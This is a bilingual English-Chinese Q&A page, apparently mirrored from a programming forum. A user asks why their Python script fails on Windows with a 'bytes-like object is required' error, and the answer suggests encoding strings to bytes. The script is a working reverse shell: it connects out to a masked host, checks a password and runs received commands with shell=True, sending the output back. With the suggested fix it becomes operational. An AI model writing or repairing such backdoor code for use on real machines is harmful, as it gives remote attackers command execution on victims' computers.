[英]Python Socket Errors "a bytes-like object is requred not 'str'
This is my script.这是我的脚本。 It works perfectly on Linux but when I run it on a Windows computer I get 2 errors.
它在 Linux 上完美运行,但是当我在 Windows 计算机上运行它时,我得到 2 个错误。 which are listed at the bottom.
列在底部。
#!/usr/bin/python
import subprocess
import socket
host = "*********"
port = ***
passwd = "****"
def Login():
global s
s.send("Login: ")
pwd = s.recv(1024)
if pwd.strip() != passwd:
Login()
else:
s.send("SHELL ")
Shell()
#Execute Shell Commands
def Shell():
while True:
data = s.recv(1024)
if data.strip() == ":kill":
break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read()
s.send(output)
s.send("#> ")
#Start Script
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
Login()
BELOW ARE THE TWO ERRORS what needs to be changed?以下是需要更改的两个错误?
C:\Users\IEUser\Desktop\Python>python ReverseShell.py
Traceback (most recent call last):
File "ReverseShell.py", line 34, in <module>
Login()
File "ReverseShell.py", line 11, in Login
s.send("Login: ")
TypeError: a bytes-like object is required, not 'str'
In python2
sock.send
can take a python str
in python3
it must be a bytes-like object
在
python2
sock.send
可以采用 python str
在python3
中它必须是一个bytes-like object
A simple fix looks like this一个简单的修复看起来像这样
'message'.encode('utf-8')
In python2
this will do nothing, in python3
you get your bytes
.在
python2
中,这不会做任何事情,在python3
中,你会得到你的bytes
。 BAM!砰!
Hope this helps!希望这可以帮助!
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.